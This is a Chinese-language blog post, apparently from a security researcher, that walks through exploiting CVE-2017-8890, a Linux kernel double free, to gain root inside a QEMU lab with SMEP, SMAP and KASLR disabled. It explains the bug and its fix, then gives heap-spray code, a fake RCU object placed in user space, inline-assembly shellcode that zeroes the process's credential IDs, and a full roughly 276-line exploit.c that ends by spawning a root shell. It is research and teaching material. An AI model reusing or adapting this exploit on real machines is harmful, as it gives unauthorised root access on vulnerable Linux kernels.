Author: Thor

最近一段时间在研究linux kernel的漏洞利用,我们以CVE-2017-8890为例探索了linux kernel的提权过程,以此记录并分享。

0x00 测试环境

1. linux kernel 版本:4.10.6  x86_64
2. 调试环境:qemu + linux kernel + busybox + gdb
3. kernel 防护机制: no smep, no smap,no KASLR
4. 主机:Ubuntu 16.04

测试环境我们使用qemu运行linux kernel + busybox的最小化系统,并在Ubuntu主机上通过gdb远程调试linux kernel,十分便捷。同时,我们为了方便,关闭了内核的SMEP/SMAP、KASLR防护机制。

qemu:
1
gdb:
1

0x01 漏洞原理

CVE-2017-8890是启明星辰ADLab去年披露的linux kernel double free漏洞,取名Phoenix Talon,可影响几乎所有Linux kernel 2.5.69 ~ Linux kernel 4.11的内核版本、对应的发行版本以及相关国产系统。我们简单介绍下该漏洞的原理。

我们在socket编程中服务端创建socket时会在内核创建一个inet_sock结构体, 暂时称其为sock1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct inet_sock {
/* sk and pinet6 has to be the first two members of inet_sock */
struct sock sk;
........
__be32 inet_saddr;
__s16 uc_ttl;
__u16 cmsg_flags;
__be16 inet_sport;
__u16 inet_id;
..........
__be32 mc_addr;
struct ip_mc_socklist __rcu *mc_list;
struct inet_cork_full cork;
};

当服务端调用accept函数接收外来连接的时候会创建一个新的inet_sock结构体, 称为sock2。sock2对象会从sock1对象复制一份ip_mc_socklist指针,其结构体如下:

1
2
3
4
5
6
7
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};

此时在内核中存在两个不同inet_sock对象,但它们的mc_list指针却指向同一个ip_mc_socklist对象。此后,当服务端close socket的时候,内核会free对应的inet_sock对象sock1,并同时释放mc_list指针指向的那个ip_mc_socklist对象。但是服务端在关闭accept创建的inet_sock对象sock2时,会再次释放同一个mc_list对象,造成double free漏洞。

该漏洞的原理比较简单,就是在复制对象的时候将指针也一同复制了一份,造成两个指针指向同一对象。因此,漏洞修复也比较简单,直接在复制对象的时候将mc_list指针置为NULL即可。

0x02 PoC

我们直接在github上找到了一个可以运行的PoC
编译如下:

1
gcc -static cve.cpp -o PoC -lpthread

运行后内核直接崩溃:

1

我们在崩溃界面可以看到漏洞的触发路径。
PoC的大致流程如下:

1
2
3
4
5
6
7
8
sockfd = socket(AF_INET, xx, IPPROTO_TCP);
setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);
bind(sockfd, xxxx, xxxx);
listen(sockfd, xxxx);
newsockfd = accept(sockfd, xxxx, xxxx);
close(newsockfd) // first free (kfree_rcu)
sleep(5) // wait rcu free(real free)
close(sockfd) // double free

我们首先创建一个服务端socket,并通过setsockopt设置MCAST_JOIN_GROUP选项,主要是让内核创建ip_mc_socklist对象。然后我们通过accept创建另外一个socket,使得newsockfd在内核中的mc_list指针指向同一个ip_mc_socklist对象。最后我们通过关闭sockfd和newsockfd去触发内核释放mc_list指向的同一对象,导致double free。

0x03 exploit

我们在网上暂时还没有搜到可用的exploit,只有一些文章[1][2]讲解漏洞利用的思路。double free类型漏洞的一般利用思路是在第一次free后通过伪造数据去堆喷占位,控制第二次free时的数据,从而劫持内核的执行流程。
我们再看看double free的对象ip_mc_socklist

1
2
3
4
5
6
7
8
9
10
11
12
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
}
#define rcu_head callback_head

我们可以看到ip_mc_socklist对象中包含一个rcu_head对象,而该对象正好包含一个函数指针。ip_mc_socklist对象的释放涉及的linux的RCU机制,比较复杂,我们暂时只需要知道ip_mc_socklist对象真正释放的处理函数是__rcu_reclaim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
unsigned long offset = (unsigned long)head->func;
rcu_lock_acquire(&rcu_callback_map);
if (__is_kfree_rcu_offset(offset)) {
RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
kfree((void *)head - offset);
rcu_lock_release(&rcu_callback_map);
return true;
} else {
RCU_TRACE(trace_rcu_invoke_callback(rn, head));
head->func(head);
rcu_lock_release(&rcu_callback_map);
return false;
}
}

刚好在__rcu_reclaim函数中存在一个分支去执行rcu_head对象中的函数指针:

head->func(head)

因此,我们只需要劫持rcu_head对象即可劫持内核的执行。接下来,我们通过gdb调试一步步来实现我们的exploit。

1)内核堆喷

为了能够劫持ip_mc_socklist内核对象,我们必须要能够在第一次free后通过堆喷占位,用我们伪造的数据填充已经free掉的ip_mc_socklist内核对象。ip_mc_socklist对象在x86_64系统中大小为48字节,内核会通过kmalloc分配64字节的堆块,因此我们需要找到在内核中稳定分配64字节大小,并且能够控制分配内容的方法。我们试了sendmmsg方法,但是并未成功。通过内核堆喷ipv6_mc_socklist结构体倒是成功了,但是通过gdb查看分配的对象大小却是72字节。我们直接通过源码计算ipv6_mc_socklist结构体的大小只有64字节,多出来的8个字节怎么出来的呢?

1
2
3
4
5
6
7
8
9
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};

最后通过gdb调试我们才知道是因为内存对齐的原因。ipv6_mc_socklist结构体中既有8字节的成员变量,也有4字节的成员变量,因此ipv6_mc_socklist对齐到8字节,导致ipv6_mc_socklist对象的内存大小多出来8个字节。我们想到一个简单的方法,就是patch kernel, 修改ipv6_mc_socklist结构体定义,将两个4字节成员变量放在一起:

1
2
3
4
5
6
7
8
9
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};

修改后重新编译内核运行,成功实现了内核64字节堆喷。我们可以通过gdb查看堆喷结果。
第一次free时ip_mc_socklist内核对象:

1

堆喷成功后第二次free:
1

通过对比我们可以看到,两次free的对象地址都是0xffff8800065ca0c0,说明是同一对象。同时,第二次free之前,我们成功通过堆喷,将之前free的对象填充为可控内容。堆喷的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define SPRAY_SIZE 5000
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}

我们将堆喷对象ipv6_mc_socklist的adrr设置为”ff02:abcd:0:0:0:0:0:1”,即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklistnext_rcu成员。因此,我们通过堆喷ipv6_mc_socklist对象来劫持ip_mc_socklist对象的释放。

2)劫持EIP

当我们成功进行了堆喷劫持后,需要通过某种方式来获得在内核中执行代码的能力,即劫持EIP。前面我们提到ip_mc_socklist对象中包含一个函数指针,我们是不是可以直接劫持该函数指针来劫持EIP呢?经过测试后发现这是不行的。我们通过gdb调试后发现即使我们通过堆喷劫持了ip_mc_socklist对象中的函数指针,但是实际在__rcu_reclaim函数中执行时,该函数指针已经被修改了,变成了其他值。我们在分析源码发现,原来kfree_rcu函数会修改ip_mc_socklist对象中的函数指针,导致我们的堆喷失效。kfree_rcu的调用链:

kfree_rcu->__kfree_rcu->kfree_call_rcu->__call_rcu

我们发现在函数的参数转换的时候,rcu_head中的函数指针会被修改为偏移量:

1
1

因此我们不能直接通过劫持函数指针来劫持EIP。我们知道linux的RCU机制使得kfree_rcu函数调用后,并不是马上去执行__rcu_reclaim函数进行真正的释放动作,而是会让CPU过一段时间再执行。如果我们在__rcu_reclaim函数执行前再次修改ip_mc_socklist对象中的函数指针即可劫持EIP。但是我们并不能访问到堆喷的内核对象,我们该怎么修改呢?如果是在用户空间就好了!我们之前提到,ip_mc_socklist对象的前8个字节是next_rcu指针变量,该指针指向rcu链表中的下一个ip_mc_socklist对象。我们可以通过劫持next_rcu指针,使其指向我们在用户空间伪造的ip_mc_socklist对象,然后再通过伪造用户空间对象的函数指针来劫持EIP,布局如下所示:

1

当我们将ip_mc_socklist对象劫持到用户空间后,我们就可以通过多线程去修改伪造对象的函数指针,从而劫持到EIP。

2)shellcode

由于没有SMEP、SMAP,我们劫持到EIP后可以直接跳转到我们在用户空间的shellcode中执行提权代码。常见的提权代码是执行如下函数:

`commit_creds(prepare_kernel_cred(0))`

prepare_kernel_credcommit_creds是内核导出的符号,可以通过/proc/kallsyms查找相应内核地址。但是执行这两个函数能提权成功有一个前提条件,就是内核必须处于exp进程的上下文,即内核通过current宏获取到的进程描述符task_struct必须是exp进程的,否则exp进程不能提权成功。我们在测试中发现,虽然通过劫持EIP成功执行了commit_creds(prepare_kernel_cred(0)),但是返回的shell并不是root权限,说明提权并未成功。通过gdb调试一看,我们劫持到EIP时内核的进程上下文是ksoftirqd进程或rcu_sched进程。我们猜测,由于RCU机制的存在,ip_mc_socklist对象的真正释放是在内核软中断处理中,因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以,虽然我们能劫持EIP执行,但是却不能通过简单执行commit_creds函数执行提权,需要我们自己写shellcode。我们知道,只要我们能修改exp进程描述符中cred结构体的uid和euid为0,即可提权为root。因此在内核中执行如下代码即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void get_root(int pid){
struct pid * kpid = find_get_pid(pid);
struct task_struct * task = pid_task(kpid,PIDTYPE_PID);
unsigned int * addr = (unsigned int* )task->cred;
addr[1] = 0;
addr[2] = 0;
addr[3] = 0;
addr[4] = 0;
addr[5] = 0;
addr[6] = 0;
addr[7] = 0;
addr[8] = 0;
}

find_get_pidpid_task函数是内核导出的函数,主要用于根据pid找到对应的进程描述符。这段代码是在内核中执行的,可以在编写的内核模块中编译和运行,但是不好编译为用户空间代码,因此我们直接将其转换为汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
int pid = getpid();
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq;"
"retq ;");
}

3)Demo

综上,我们的第一版exploit.c如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
#define SPRAY_SIZE 5000
#define HELLO_WORLD_SERVER_PORT 8088
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
void *client(void *arg);
void get_root();
int pid=0;
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq ;"
"retq ;"
);
}
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
// cd ab 02 ff
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
void *func_modify(void *arg){
unsigned long fix_addr = 0xcdab02ff + 8*5;
unsigned long func = (unsigned long)&get_root;
while(1) {
*(unsigned long *)(fix_addr) = func;
}
}
void exploit(){
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
int server_socket = socket(PF_INET,SOCK_STREAM,0);
if( server_socket < 0){
printf("[Server]Create Socket Failed!");
exit(1);
}
int opt =1;
setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(1);
}
if ( listen(server_socket, 10) ) {
printf("[Server]Server Listen Failed!");
exit(1);
}
pthread_t id_client;
pthread_create(&id_client,NULL,client,NULL);
spray_init();
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
printf ("[Server]accept..... \n");
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
if ( new_server_socket < 0){
close(server_socket);
perror("[Server]Server Accept Failed!\n");
return;
}
unsigned long fix_addr = 0xcdab0000;
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)0x00000000cdab02ff;
unsigned long func = (unsigned long)&get_root;
addr[0] = 0x0;
addr[1] = 0x0a0a02e0;
addr[2] = 0x00000002;
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = func;
pthread_t id_func;
pthread_create(&id_func,NULL,func_modify,NULL);
printf ("[Server]close new_server_socket \n");
close(new_server_socket);
sleep(5);
heap_spray();
close(server_socket);
printf(" current uid is : %d \n", getuid());
printf(" current euid is : %d \n", geteuid());
system("/bin/sh");
}
void *client(void *arg){
struct sockaddr_in client_addr;
bzero(&client_addr,sizeof(client_addr));
client_addr.sin_family=AF_INET;
client_addr.sin_addr.s_addr=htons(INADDR_ANY);
client_addr.sin_port=htons(0);
int client_socket=socket(AF_INET,SOCK_STREAM,0);
if(client_socket<0){
printf("[Client]Create socket failed!\n");
exit(1);
}
if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
printf("[Client] client bind port failed!\n");
exit(1);
}
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
printf("[Client]Server IP Address error\n");
exit(0);
}
server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
socklen_t server_addr_length=sizeof(server_addr);
if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
printf("[Client]cannot connect to 127.0.0.1!\n");
exit(1);
}
printf("[Client]Close client socket\n");
close(client_socket);
return NULL;
}
int main(int argc,char* argv[]) {
printf("pid : %d\n", getpid());
pid = getpid();
exploit();
return 0;
}

我们编译exploit.c:

1

在qemu的虚拟环境中运行我们的exp:

1

最终,我们在qemu + linux kernel + busybox的虚拟环境中成功实现了root提权。

0x04 小结

本文记录了我们初步研究CVE-2017-8890漏洞利用的过程及初步成果,在qemu + linux kernel + busybox的最小化虚拟环境中成功实现了root提权。但是需要注意的是,我们这里的linux kernel并没有开启SMEP/SMAP,exp使用了ret2usr的方法去执行shellcode提权。如果开启SMEP/SMAP,内核将不能直接访问我们用户空间的数据或直接执行用户空间的shellcode,我们的这个exp也就不再有效。同时,我们这个exp的堆喷使用了patch kernel的方法,在实际环境中肯定不再适用。我们将在下一篇文章中探讨内核堆喷的其他方法,以及在内核开启SMEP的情况下的绕过方法。欢迎大家一起探讨学习!

##参考文献:

[1] http://www.freebuf.com/articles/terminal/160041.html

[2] https://bbs.pediy.com/thread-226057.htm

[3] https://mp.weixin.qq.com/s/6NGH-Dk2n_BkdlJ2jSMWJQ